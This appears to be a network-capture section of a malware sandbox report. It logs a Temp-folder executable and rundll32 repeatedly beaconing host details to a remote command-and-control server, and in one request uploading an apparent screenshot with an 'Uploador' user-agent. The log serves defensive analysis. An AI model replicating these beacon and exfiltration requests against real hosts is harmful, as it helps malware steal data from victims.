Apr 28, 2021 23:23:09.663963079 CEST	3324	OUT	Data Raw: 65 22 5a 28 a2 a8 c4 9a 2f b9 53 54 31 7d ca 92 3e f5 b4 4c 65 b9 69 1b ca e7 34 ef 3b 75 45 17 f4 a7 d7 64 77 39 e4 4f 1c 95 2c 73 ba c8 1f 3c 55 7a 7a 7d da b8 d4 91 94 a2 5f 87 52 d8 7e 7a b5 1d ff 00 98 d9 c5 64 27 de ab 10 e7 23 15 d3 4e b4 Data Ascii: e"Z(/ST1}>Lei4;uEdw9O,s<Uzz}_R~zd'#NZ`l)w*r}n1i)<i'5B{?WC3XU'+ZYG7#h$O;Ejv(^B@wcS+S7ic
Apr 28, 2021 23:23:09.664098978 CEST	3361	OUT	Data Raw: 0c cb 71 37 d8 ed 60 89 63 9e 09 44 6d 3c c7 cb 33 24 7b 3c 17 f6 84 fd ae 7f 6b 2f da ca de fa c3 f6 8e f8 d9 3f 8a 20 d4 f5 4d 3f 51 d4 8c fa 45 94 12 de 5d 58 d8 9b 0b 49 66 96 08 11 e5 68 ed 99 d0 6e 62 09 91 dc e5 dd 98 af 86 7f 6a ff 00 da Data Ascii: q7`cDm<3${<k/? M?QE]XIfhnbjwLv~H+jzfZ9{KKimu=rf82n_ros{]'.kEF1KNQi}~,O\|5oTW+o6u#JuV-!>q
Apr 28, 2021 23:23:09.666486025 CEST	3364	OUT	Data Raw: c3 73 22 b7 fb 2d 5a 96 7e 3a f1 0d ba fc 9a 94 8b ff 00 03 a8 f6 bc 41 47 e1 ae 54 b0 7c 31 88 f8 f0 fc be 87 1b a8 7e ca df 11 ec 73 e4 da 2c cb fe cd 65 5d 7c 13 f1 e6 9b 84 b9 f0 f5 c6 3f bc bf 35 7a dd 9f c5 7f 13 c1 8f 3a f9 99 6b 5e cb e3 Data Ascii: s"-Z~:AGT\|1~s,e]\|?5z:k^>e0Z F2'\zp<zG_?nc)ik{%=nS_a]RZ1@?o#GE`iBmkTcv'?oL/q
Apr 28, 2021 23:23:09.670583963 CEST	3366	OUT	Data Raw: c5 59 ce 34 a3 fd ef d1 9f 95 1a a7 c2 7f 11 69 1f 01 f4 8f da 22 ef 53 d3 7f b0 f5 af 1a 6a 1e 18 b4 b5 5b 87 fb 5a de 59 da 59 dd 4a ec 85 36 08 8a 5e c4 14 87 2c 59 5c 15 00 02 db 3a df c0 ad 3f c3 9f b3 f6 8f f1 e7 c4 df 1e bc 0f a7 5c 78 8c Data Ascii: Y4i"Sj[ZYYJ6^,Y\:?\x]??e6eyQ3,M'ho`#gx.?WoWZ^{"'bxeCO+iJO\|4<%GF?Ro4{O~ZxaQXmm^Tw
Apr 28, 2021 23:23:09.670658112 CEST	3374	OUT	Data Raw: 79 35 46 68 37 76 4a 37 6e db 4f a4 61 ba 82 c9 69 a8 31 90 69 9b d7 d6 9e 87 39 26 aa 26 52 d8 b0 9d 69 b4 53 4e ff 00 ff 00 55 51 03 a9 e9 f7 6a 34 ff 00 59 52 d0 4c 87 7f 0f dc a0 7f b9 4b b6 49 3a d1 e5 7b 1a da 24 8b 53 47 de a0 55 db 53 c7 Data Ascii: y5Fh7vJ7nOai1i9&&RiSNUQj4YRLKI:{$SGUSCz>zS0qWt}xDLOS']1*tjx>XCv9owOPG&Vsns;m#I?~Ze(m-u4{wH SjD

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
289	192.168.2.5	49878	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:09.605175972 CEST	3321	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	176.111.174.114	80	192.168.2.5	49725	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:26.589775085 CEST	1578	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:26 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
290	176.111.174.114	80	192.168.2.5	49878	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:09.702929974 CEST	3375	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:09 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
291	176.111.174.114	80	192.168.2.5	49877	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:09.868458986 CEST	3467	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:09 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
292	192.168.2.5	49879	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:09.918993950 CEST	3468	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
293	176.111.174.114	80	192.168.2.5	49879	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:10.022425890 CEST	3468	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:10 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
294	192.168.2.5	49881	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:10.231261969 CEST	3469	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
295	176.111.174.114	80	192.168.2.5	49881	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:10.333333969 CEST	3469	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:10 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
296	192.168.2.5	49882	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:10.542156935 CEST	3470	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
297	176.111.174.114	80	192.168.2.5	49882	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:10.644695044 CEST	3470	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:10 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
298	192.168.2.5	49883	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:10.854646921 CEST	3471	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
299	176.111.174.114	80	192.168.2.5	49883	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:10.957705021 CEST	3471	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:10 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	176.111.174.114	80	192.168.2.5	49712	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:22.316633940 CEST	1446	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:22:22 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.5	49726	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:22:26.809540987 CEST	1578	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
300	192.168.2.5	49885	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:11.169398069 CEST	3472	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
301	176.111.174.114	80	192.168.2.5	49885	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:11.272999048 CEST	3472	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:11 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
302	192.168.2.5	49886	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:11.481703997 CEST	3473	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
303	176.111.174.114	80	192.168.2.5	49886	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:11.582637072 CEST	3473	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:11 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
304	192.168.2.5	49887	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:11.789985895 CEST	3474	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
305	176.111.174.114	80	192.168.2.5	49887	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:11.890580893 CEST	3474	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:11 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
306	192.168.2.5	49888	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:12.107110023 CEST	3475	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
307	176.111.174.114	80	192.168.2.5	49888	C:\Users\user\AppData\Local\Temp\e90e419c61\blfte.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:12.206041098 CEST	3475	IN	HTTP/1.1 200 OK Date: Wed, 28 Apr 2021 21:23:12 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16 X-Powered-By: PHP/5.4.16 Content-Length: 6 Content-Type: text/html; charset=UTF-8 Data Raw: 3c 63 3e 3c 64 3e Data Ascii: <c><d>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
308	192.168.2.5	49889	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:12.422960043 CEST	3476	OUT	POST /Hnq8vS/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 176.111.174.114 Content-Length: 83 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 31 36 26 73 64 3d 36 62 33 63 38 36 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 39 32 38 31 30 30 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.16&sd=6b3c86&os=1&bi=1&ar=1&pc=928100&un=user&dm=&av=13&lv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
309	192.168.2.5	49890	176.111.174.114	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Apr 28, 2021 23:23:12.444541931 CEST	3489	OUT	POST //Hnq8vS/index.php?scr=up HTTP/1.1 Host: 176.111.174.114 User-Agent: Uploador Content-Type: multipart/form-data; boundary=152138533219.jpg Connection: Keep-Alive Content-Length: 185541 Data Raw: 2d 2d 31 35 32 31 33 38 35 33 33 32 31 39 2e 6a 70 67 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 31 35 32 31 33 38 35 33 33 32 31 39 2e 6a 70 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 02 01 01 01 01 01 02 01 01 01 02 02 02 02 02 04 03 02 02 02 02 05 04 04 03 04 06 05 06 06 06 05 06 06 06 07 09 08 06 07 09 07 06 06 08 0b 08 09 0a 0a 0a 0a 0a 06 08 0b 0c 0b 0a 0c 09 0a 0a 0a ff db 00 43 01 02 02 02 02 02 02 05 03 03 05 0a 07 06 07 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a ff c0 00 11 08 04 00 05 00 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7d 01 02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 a1 08 23 42 b1 c1 15 52 d1 f0 24 33 62 72 82 09 0a 16 17 18 19 1a 25 26 27 28 29 2a 34 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e1 e2 e3 e4 e5 e6 e7 e8 e9 ea f1 f2 f3 f4 f5 f6 f7 f8 f9 fa ff c4 00 1f 01 00 03 01 01 01 01 01 01 01 01 01 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 11 00 02 01 02 04 04 03 04 07 05 04 04 00 01 02 77 00 01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 a1 b1 c1 09 23 33 52 f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 fc 50 8a 2f 2e 9f 52 fd 8f 77 5c d2 ec 35 fa 5c 69 9f 07 ce 47 1f 7a 75 7b 17 c1 af d8 53 f6 86 f8 d3 e1 3b 2f 89 1a 56 81 65 a2 f8 4f 50 9e 48 ad 3c 51 e2 2b f5 b7 b5 99 a3 72 92 18 91 43 4f 70 15 c1 56 30 c5 26 d2 08 38 22 bd df e1 ff 00 fc 13 93 e0 87 85 f6 5d 7c 4a f1 de b3 e2 bb c5 5c b5 9e 91 12 e9 b6 28 e0 f4 f3 1c 49 35 c4 67 d9 6d 9f e9 58 d5 c4 e1 e9 68 e5 af 91 ac 28 56 a8 ae 96 87 c5 29 f7 6a c2 7d da fd 19 bd fd 87 ff 00 63 8f 1a 78 7f ec 6f f0 5a 7f 0f c8 cd 95 d4 7c 2f e2 7b e5 b8 07 8c 03 f6 e9 2e a2 2b ea 3c b0 c7 b3 0a f2 1f 88 7f f0 49 df 12 c4 b2 5d fc 0b f8 c9 a4 eb a0 6e 31 e8 fe 27 87 fb 22 f1 cf 50 89 29 79 2d 58 01 c6 f9 26 87 24 7d d1 9e 2a 9e 3f 0f 3d f4 f5 26 b6 0e bc 76 57 f4 3e 45 a4 55 c6 45 76 df 16 7f 67 5f 8e 7f 01 ee a3 8b e2 ef c2 bd 6b 42 8a 79 0a 59 df de 59 37 d8 ef 08 19 fd c5 ca e6 19 c6 3b c6 ec 38 3c f1 5c 5b 6f ef 5d d1 94 65 0b a7 73 85 a9 45 d9 90 c7 1b d0 fd 3f 1a 96 9a f8 ee 29 72 15 cd 76 57 93 b5 44 e3 9f ad 4b 27 6a 6e dd dc 62 b1 94 4d e3 b9 4e 44 3e b5 1d 7e c7 f8 9b fe 0d 34 d5 7c 37 75 f6 7b ff 00 db 9f 74 2e d8 86 e5 3e 18 65 5f ff 00 2a 7c 1f 6f e6 39 aa d6 bf f0 6a 22 dc f5 fd bd f6 ff 00 dd 2d cf fe e5 2b f3 2a de 2b f0 05 29 b8 4f 19 66 bf e9 dd 6f fe 56 7d 64 38 4b 88 a5 1e 65 43 4f f1 43 ff 00 92 3f 1e a3 eb f8 54 be 53 fa 57 ec 8d b7 fc 1a 4e 2e 17 1f f0 f0 1d bc ff 00 d1 29 cf fe e5 6b f2 8b f6 87 f8 44 df b3 ff 00 ed 09 e3 df 80 8f af 8d 58 f8 27 c6 5a a6 80 75 51 6b e4 0b c3 67 77 2d bf 9d e5 ee 6f 2f 7f 97 bb 6e e6 db 9c 64 e3 35 ef 70 ff 00 19 70 df 13 d5 9d 3c b2 bf b4 94 12 6f dd 9c 6c 9e 9f 6a 31 fc 0f 3b 31 c9 73 3c ae 2a 58 aa 7c a9 e8 b5 8b fc 9b 38 a7 39 38 a1 36 7f 1d 39 d1 b3 9a 65 7d 49 e5 0e 65 fe e5 21 56 5e a2 92 9d bc d0 1b 11 f9 7e f4 2a f7 34 f7 eb 5f af bf f0 6e 6f fc 12 17 f6 1d ff 00 82 90 7e cd Data Ascii: --152138533219.jpgContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-streamJFIFCC"}!1AQa"q2#BR$3br%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzw!1AQaq"2B#3Rbr$4%&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?P/.Rw\5\iGzu{S;/VeOPH<Q+rCOpV0&8"]\|J\(I5gmXh(V)j}cxoZ\|/{.+<I]n1'"P)y-X&$}?=&vW>EUEvg_kByYY7;8<\[o]esE?)rvWDK'jnbMND>~4\|7u{t.>e_\|o9j"-++)OfoV}d8KeCOC?TSWN.)kDX'ZuQkgw-o/nd5pp<olj1;1s<X\|89869e}Ie!V^~4_no~>K-[R9t/w6_gcmA~r 9qXxJ^w<MNH~@C5\|\>;$62>x}<uw5oa?_r3#~?/Oz_W<Cu3V2m yXZW_x[[B$)! zLml[aj3\snV&L3y{NijJ@\|RKE6M%tTQO0hR(()`sKNm;Q!T_\iFE7UrNz6zQQ9 GN&XCTn3iKi}jDB{EP@QEQEP7J2Iw) ($ruNm"a:;bON6(sbUW3N.KKzuPN?N)6(~4'O\|:ED'g#X_I'jN5ET%6N-)<)R>fQEQS OWEfaE/~4QErk>MD\FEC'jmML{h,Q@I<O/4EvEQEih-G@%SR>>1Q@Q@()$J:NPfSloPtZ>a:TNw_-Y&3D8e]KJR~w?47aH'%ozF}KOp$a}#N&\|_7eV94kH`=A!G>6`IJWIVI'Y+98J4UscSLftN5?-Nr~b=m=SY q^Cd-6m#!dk0#=^wb)bBkip.7M(5t_~#[Z<"C/]7rXg5?_Q- 